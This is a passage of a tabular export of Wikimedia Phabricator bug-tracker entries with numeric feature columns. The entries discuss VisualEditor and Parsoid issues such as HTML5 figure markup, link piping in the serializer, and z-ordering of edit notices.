432078,Use figure and figcaption HTML5 elements when possible,Should be fine if the HTML5 shiv works properly.  No JS old IE is minimal per https://phabricator.wikimedia.org/T25932#851388 .  IE 8 ([last version](http://caniuse.com/#feat=html5semantic) not to support this out of the box) is EOL in January 2016 (less than 10 months away!),,,1427250080,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,90,,0.0,0.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,18.0,2.0,0.0,8.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,0.0,0.0,14.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.204081632653061,0.8571428571428571,Should be fine if the HTML5 shiv works properly.  No JS old IE is minimal per URL .  IE 8 ([last version](URL not to support this out of the box) is EOL in January 2016 (less than 10 months away!)
425825,Use figure and figcaption HTML5 elements when possible,"Change 196533 had a related patch set uploaded (by Prtksxna):
Stop specifying element for thumbinner class

[[https://gerrit.wikimedia.org/r/196533]]
",,,1426227143,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,88,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.1923076923076925,0.8846153846153846,"Change 196533 had a related patch set uploaded (by Prtksxna):
Stop specifying element for thumbinner class

[[GERRIT_URL]]
"
425824,Use figure and figcaption HTML5 elements when possible,"Change 196532 had a related patch set uploaded (by Prtksxna):
Use figure and figcaption HTML5 elements in Linker::makeThumbLink2

[[https://gerrit.wikimedia.org/r/196532]]
",,,1426227102,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,88,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.607142857142857,0.8928571428571429,"Change 196532 had a related patch set uploaded (by Prtksxna):
Use figure and figcaption HTML5 elements in Linker::makeThumbLink2

[[GERRIT_URL]]
"
233759,Use figure and figcaption HTML5 elements when possible,"Docs on MDN for these elements:

https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figure

https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figcaption

Core and mobile styles would have to be updated, and likely also some JS tools.

Alternatively, <figure> and <figcaption> could be thrown in around the existing <div>s and <span>s without changing the styles, assuming there's no default styles that override stuff.",,,1380740509,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,13,,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,3.0,10.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,7.0,3.757142857142857,0.7,"Docs on MDN for these elements:

URL

URL

Core and mobile styles would have to be updated, and likely also some JS tools.

Alternatively, <figure> and <figcaption> could be thrown in around the existing <div>s and <span>s without changing the styles, assuming there's no default styles that override stuff."
51092,VisualEditor: Reference lists should update more intelligently (i.e. less often),"Currently a reference list (<references /> in wikitext) complete redraws every time an InternalItemNode is touched by a transaction. This is inefficient because:

* Reference lists can be grouped, so a change to one InternalItemNode may not affect that reference list at all.
* Changes to IternalItemNodes shouldn't change the ordering of the list, or any items not touched by the transaction, so we only need to selectively update the items in the list which have changed.",Medium,50.0,1370299680,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ebn2j76ougc2mnfqb4fp,task_description,open,True,c1,1,True,False,,-4,,3.0,0.0,0.0,2.0,3.0,2.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,9.0,13.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,21.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,10.0,3.0,8.0,3.0,1.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,4.384615384615385,0.7032967032967034,"Currently a reference list (<references /> in wikitext) complete redraws every time an InternalItemNode is touched by a transaction. This is inefficient because:

* Reference lists can be grouped, so a change to one InternalItemNode may not affect that reference list at all.
* Changes to IternalItemNodes shouldn't change the ordering of the list, or any items not touched by the transaction, so we only need to selectively update the items in the list which have changed."
51089,Enable VisualEditor alpha on all Wikipedias,"

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1370286120,1370741034.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-nlxbzrcehkp3h36untox,task_description,resolved,True,c1,1,True,False,True,-4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233287,Enable VisualEditor alpha on all Wikipedias,Done on 2013-06-06.,,,1370741034,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nlxbzrcehkp3h36untox,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.125,0.75,Done on 2013-06-06.
233281,Enable VisualEditor alpha on all Wikipedias,Related URL: https://gerrit.wikimedia.org/r/67151 (Gerrit Change I98eb9f4979ae8d1dc2fdca4d812feaee28672444),,,1370466138,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nlxbzrcehkp3h36untox,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I98eb9f4979ae8d1dc2fdca4d812feaee28672444)
51059,VisualEditor: Phantoms appear above edit notices,"Even though the edit notices appear above text, they don't appear above overlays, e.g. block phantoms.

http://i.imgur.com/RAOdlIZ.png

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49361
https://bugzilla.wikimedia.org/show_bug.cgi?id=50096
https://bugzilla.wikimedia.org/show_bug.cgi?id=50545",Medium,50.0,1370181480,1372809190.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rhsntkwc7ofl6qzz7kt4,task_description,resolved,True,c1,1,True,False,True,-5,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4814814814814814,0.5370370370370371,"Even though the edit notices appear above text, they don't appear above overlays, e.g. block phantoms.

URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL
URL
URL"
231284,VisualEditor: Phantoms appear above edit notices,"This has now been fixed by Rob; marking as such. I hope we can deploy this to production soon, possibly tomorrow.",,,1372809190,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rhsntkwc7ofl6qzz7kt4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.72,0.96,"This has now been fixed by Rob; marking as such. I hope we can deploy this to production soon, possibly tomorrow."
231280,VisualEditor: Phantoms appear above edit notices,"See also bug 49275. The layer the phantoms are added too needs to be put below the layer of toolbar, edit notices and save dialog etc.",,,1370851448,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-rhsntkwc7ofl6qzz7kt4,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.7586206896551726,0.896551724137931,"See also bug 49275. The layer the phantoms are added too needs to be put below the layer of toolbar, edit notices and save dialog etc."
51034,Piping used unnecessarily when modifying an existing link,"I edited https://en.wikipedia.org/w/index.php?title=Eagle_Lake_%28Florida%29&oldid=557775556 which contained a piped link:

[[Eagle Lake, Florida|Eagle Lake]]

I used VisualEditor to change the anchor text to Eagle Lake, Florida.  That means piping is no longer necessary.  However, on the review changes screen, it showed:

'''Eagle Lake''' is an elongated lake in shape located in the northern portion of [[Eagle Lake, Florida|Eagle Lake, Florida]].

(irrelevant parts after omitted).

It should just be:

[[Eagle Lake, Florida]]

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1370056740,1370467151.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_description,resolved,True,c1,1,True,False,True,-5,,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,2.5,4.5,0.0,0.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,3.0,2.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,4.5,11.5,0.0,1.0,0.0,2.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,4.0,3.6304563492063493,0.6216517857142857,"I edited URL which contained a piped link:

[[Eagle Lake, Florida|Eagle Lake]]

I used VisualEditor to change the anchor text to Eagle Lake, Florida.  That means piping is no longer necessary.  However, on the review changes screen, it showed:

'''Eagle Lake''' is an elongated lake in shape located in the northern portion of [[Eagle Lake, Florida|Eagle Lake, Florida]].

(irrelevant parts after omitted).

It should just be:

[[Eagle Lake, Florida]]

--------------------------
**Version**: unspecified
**Severity**: normal"
229769,Piping used unnecessarily when modifying an existing link,Please note that this will be fixed on en-wp only after the latest version of parsoid is deployed.,,,1370467182,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,19.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.857142857142857,1.0,Please note that this will be fixed on en-wp only after the latest version of parsoid is deployed.
229764,Piping used unnecessarily when modifying an existing link,https://gerrit.wikimedia.org/r/66880 (Gerrit Change I6abef05522192f667d483b4eb4e05de771496c28) | change APPROVED and MERGED [by jenkins-bot],,,1370467094,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I6abef05522192f667d483b4eb4e05de771496c28) | change APPROVED and MERGED [by jenkins-bot]
229758,Piping used unnecessarily when modifying an existing link,Related URL: https://gerrit.wikimedia.org/r/66880 (Gerrit Change I6abef05522192f667d483b4eb4e05de771496c28),,,1370297438,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I6abef05522192f667d483b4eb4e05de771496c28)
229752,Piping used unnecessarily when modifying an existing link,"Never mind ... bad test case.  This behavior is correct since the second html snippet corresponds to parse output of ""[[Foo|Foo]]"" as wikitext input.

The problem seems to be that the serializer doesn't exploit the information that the link target has been modified and that there is a diff-marker on the a-tag.",,,1370295580,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,12.0,6.0,6.0,4.0,1.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,6.0,3.838235294117647,0.7794117647058824,"Never mind ... bad test case.  This behavior is correct since the second html snippet corresponds to parse output of ""[[Foo|Foo]]"" as wikitext input.

The problem seems to be that the serializer doesn't exploit the information that the link target has been modified and that there is a diff-marker on the a-tag."
229745,Piping used unnecessarily when modifying an existing link,"Bug in LinkHandler in the serializer.  Our html2wt tests are lacking.

[subbu@earth lib] cat /tmp/x
<a rel='mw:WikiLink' href='./Foo' data-parsoid='{""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""stx"":""simple""}'>Foo</a>
<a rel=""mw:WikiLink"" href=""./Foo"" data-parsoid='{""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""stx"":""piped""}'>Foo</a>
[subbu@earth lib] node parse --html2wt < /tmp/x
[[Foo]]
[[Foo|Foo]]",,,1370294863,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2h7j3etzcjrazlrx7t2k,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,12.0,0.0,5.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,26.0,5.082191780821918,0.5753424657534246,"Bug in LinkHandler in the serializer.  Our html2wt tests are lacking.

[subbu@earth lib] cat /tmp/x
<a rel='mw:WikiLink' href='./Foo' data-parsoid='{""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""stx"":""simple""}'>Foo</a>
<a rel=""mw:WikiLink"" href=""./Foo"" data-parsoid='{""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""stx"":""piped""}'>Foo</a>
[subbu@earth lib] node parse --html2wt < /tmp/x
[[Foo]]
[[Foo|Foo]]"
51000,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","When attempting to move a page where VisualEditor is enabled (take https://www.mediawiki.org/wiki/Special:MovePage/VisualEditor:Sandbox for an example), the tab ""Create source"" should be an ""Edit source"" tab instead.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=66885",Medium,50.0,1369958460,1393380862.0,PHID-USER-kc6qx3zohjybu3nzffu3,False,,False,PHID-TASK-n3tckyz3ypiasbv7mmov,task_description,resolved,True,c1,1,False,False,False,-5,,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,3.0,16.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,3.4516129032258065,0.6290322580645161,"When attempting to move a page where VisualEditor is enabled (take URL for an example), the tab ""Create source"" should be an ""Edit source"" tab instead.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
233059,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","(In reply to Alex Monk from comment #17)
> Is there anything left to do here?

This appears fixed for now (albeit as a hack).",,,1393380862,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0384615384615383,0.9230769230769231,"(In reply to Alex Monk from comment #17)
QUOTE

This appears fixed for now (albeit as a hack)."
233049,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",Is there anything left to do here?,,,1390957000,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,30,,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Is there anything left to do here?
233040,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 82744 merged by jenkins-bot:
Reference core bug 53774 in bug 49000 comment

https://gerrit.wikimedia.org/r/82744",,,1378356950,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.315789473684211,0.9473684210526315,"Change 82744 merged by jenkins-bot:
Reference core bug 53774 in bug 49000 comment

GERRIT_URL"
233034,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Change 82744 had a related patch set uploaded by Jforrester:
Reference core bug 53774 in bug 49000 comment

